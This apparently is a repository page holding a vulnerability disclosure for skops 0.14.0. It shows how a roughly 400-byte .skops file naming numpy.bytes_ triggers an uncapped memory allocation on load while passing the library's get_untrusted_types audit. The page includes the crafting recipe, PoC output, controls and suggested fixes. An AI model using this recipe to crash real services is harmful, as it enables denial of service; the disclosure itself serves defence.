You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

skops DoS: default-trusted NdArrayNode subclass-cast gadget (numpy.bytes_ / numpy.void(int))

Target: skops β€” PyPI skops==0.14.0 (latest release) Component: skops/io/_numpy.py β€” NdArrayNode._construct Class: Uncontrolled resource consumption / committed-memory DoS (CWE-789 / CWE-400) Impact: A ~400-byte .skops file drives an unbounded, fully-committed (zero-filled, non-lazy) heap allocation on skops.io.load(), using only the default trust set (no trusted= argument). The pre-load audit users are told to run β€” skops.io.get_untrusted_types β€” reports the file as completely safe (empty untrusted set). Verified environment: skops 0.14.0, numpy 2.5.1, scipy 1.18.0, CPython 3.13, Linux x86-64 (real PyPI install, no source patches).


Root cause

NdArrayNode._construct (skops/io/_numpy.py), for type == "numpy":

def _construct(self):
    # Dealing with a regular numpy array, where dtype != object
    if self.type == "numpy":
        content = np.load(self.children["content"], allow_pickle=False)
        if f"{self.module_name}.{self.class_name}" != "numpy.ndarray":
            content = gettype(self.module_name, self.class_name)(content)   # <-- gadget
        return content

For any class other than numpy.ndarray, skops imports the attacker-named class (gettype(module, class)) and calls it with the loaded array. The only gate is is_self_safe() β€” the class must appear in the node's default-trusted list, set in NdArrayNode.__init__:

self.trusted = self._get_trusted(
    trusted, [np.ndarray] + NUMPY_DTYPE_TYPE_NAMES  # type: ignore
)

NUMPY_DTYPE_TYPE_NAMES (skops/io/_trusted_types.py) is the set of 24 public numpy scalar type names, auto-trusted with no trusted= argument:

['numpy.bool', 'numpy.bytes_', 'numpy.clongdouble', 'numpy.complex128', 'numpy.complex64',
 'numpy.datetime64', 'numpy.float16', 'numpy.float32', 'numpy.float64', 'numpy.int16',
 'numpy.int32', 'numpy.int64', 'numpy.int8', 'numpy.longdouble', 'numpy.longlong',
 'numpy.object_', 'numpy.str_', 'numpy.timedelta64', 'numpy.uint16', 'numpy.uint32',
 'numpy.uint64', 'numpy.uint8', 'numpy.ulonglong', 'numpy.void']

The intended semantics of NUMPY_DTYPE_TYPE_NAMES is safe dtype casting of the loaded array. But two members β€” numpy.bytes_ and numpy.void β€” are not dtype casters when handed an integer. np.load can return a 0-d integer scalar; numpy.bytes_(n) and numpy.void(n) then behave like bytes(n) / void(n) and allocate a raw buffer of n bytes:

  • numpy.bytes_(n) == bytes(n) β€” a fully committed, zero-filled buffer of n bytes, with no 2**31 cap.
  • The integer n is fully attacker-controlled via the .npy scalar value.

bytes_ / void being int-buffer constructors β€” rather than dtype casters β€” is an unintended amplification gadget inside the auto-trusted set.

Compounding factor β€” the safety audit is blind to it. skops.io.get_untrusted_types walks the same node tree. NdArrayNode's only child (for type=="numpy") is a trusted BytesIO, and its class (numpy.bytes_) is in the default-trusted list, so the audit returns an empty untrusted set. A defender who runs the documented get_untrusted_types pre-flight check before load() gets a green light on a malicious file.


PoC

Craft a .skops zip (skops files are zips) with:

  • schema.json = {"__class__":"bytes_","__module__":"numpy","__loader__":"NdArrayNode","type":"numpy","file":"payload.npy",...}
  • payload.npy = np.save(np.int64(N)) (a 0-d int64 scalar)

At skops.io.load(), NdArrayNode._construct runs numpy.bytes_(np.int64(N)), committing N bytes of real RSS. N is uncapped; an attacker sets N = 10**12 (1 TB) or larger to force an OOM process kill / node crash.

Files in this repo:

  • poc_third_bug.py β€” primary PoC (crafts file, runs get_untrusted_types, then load, measures RSS).
  • poc_controls.py β€” negative controls + constructor probe + uncapped confirmation.

Captured evidence (verbatim, real execution)

Environment: skops 0.14.0, numpy 2.5.1, scipy 1.18.0, CPython 3.13, Linux x86-64. No trusted= argument.

Primary PoC β€” numpy.bytes_, N = 3,000,000,000

== file bytes: 405
== get_untrusted_types: []
== loaded: numpy.bytes_ len 3000000000
== committed RSS delta MB: 2861

A 405-byte file commits 2861 MB of real (zero-filled, non-lazy) RSS β€” a ~7.4-million-x amplification β€” while the documented get_untrusted_types audit reports the file as fully safe ([]).

Constructor probe (arg = np.int64(2147483647))

bytes_         int2G: OK itemsize/nbytes=(2147483647, 2147483647) dRSS_MB=2048
void           int2G: OK itemsize/nbytes=(2147483647, 2147483647) dRSS_MB=0

numpy.bytes_(int) commits the full buffer (2048 MB); numpy.void(int) allocates the same nbytes but lazily (2 GB-capped variant).

Uncapped confirmation β€” no 2**31 cap

np.bytes_(3000000000) len 3000000000 dRSS_MB 812
np.bytes_(10000000000) len 10000000000 dRSS_MB 9535

len grows linearly with the attacker-supplied N past 2**31 and past 2**32 β€” numpy.bytes_(n) behaves as bytes(n) with no cap. (RSS deltas here are peak-since-process-start via ru_maxrss, hence non-monotonic ordering; the load-in-a-fresh-process delta is the 2861 MB figure above.)

Negative control 1 β€” legitimate int64 cast (allocation is NOT from np.load or the file)

NEG1 legit int64, value 3000000000 -> loaded numpy.int64 np.int64(3000000000) RSS delta MB: 0

An identical file with __class__="int64" (a legitimate dtype cast) loads np.int64(3000000000) with 0 MB RSS delta β€” proving the allocation comes specifically from the bytes_/void constructor gadget, not from np.load or the .npy payload.

Negative control 2 β€” untrusted class is correctly rejected (trust mechanism works in general)

NEG2 untrusted os.system NdArrayNode -> get_untrusted_types: ['os.system']

An NdArrayNode with __module__="os", __class__="system" is correctly flagged (['os.system']) β€” proving the default-trust mechanism is enforced in general, and that numpy.bytes_ / numpy.void slip through specifically because they are members of the auto-trusted NUMPY_DTYPE_TYPE_NAMES set.


Why this is distinct from the two already-covered skops DoS bugs

This is a separate code path and a separate trusted type from the two other skops memory-DoS issues:

  1. Zip decompression bomb (zip inflation ratio) β€” attacks the zip container layer.
  2. .npy shape-metadata allocation β€” np.load allocating a large array from an oversized shape header in the .npy file.

Here, np.load returns a tiny 0-d scalar β€” the .npy payload is small and its shape header is trivial. The amplification is the gettype(module, class)(content) subclass-cast calling numpy.bytes_(int) / numpy.void(int) to allocate a raw buffer. Different trigger, different trusted type, different mechanism.


Suggested fix

  • Do not route non-ndarray numpy classes through a bare gettype(...)(content) call. For NdArrayNode restrict the constructed type to genuine dtype casting (e.g. content.astype(dtype) for scalar dtypes) rather than calling the type object with the loaded value.
  • Remove numpy.bytes_ and numpy.void from the auto-trusted dtype set, or special-case them so an integer argument cannot be interpreted as a buffer length.
  • Bound the reconstructed object size against the on-disk payload size during audit, so get_untrusted_types / load cannot be tricked by a scalar-driven buffer allocation.

Dedup / prior-art note

  • Distinct from CVE-class skops issues around the zip decompression bomb and the .npy shape-header allocation (see "Why this is distinct" above): different code path (_construct subclass-cast), different trusted type (numpy.bytes_ / numpy.void), different mechanism (intβ†’raw-buffer constructor).
  • No public advisory/CVE was found describing the NdArrayNode gettype(...)(content) subclass-cast as a committed-memory amplification gadget, nor the fact that get_untrusted_types reports such a file as safe.
  • Reachable with the default trust set β€” no trusted= bypass required.
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support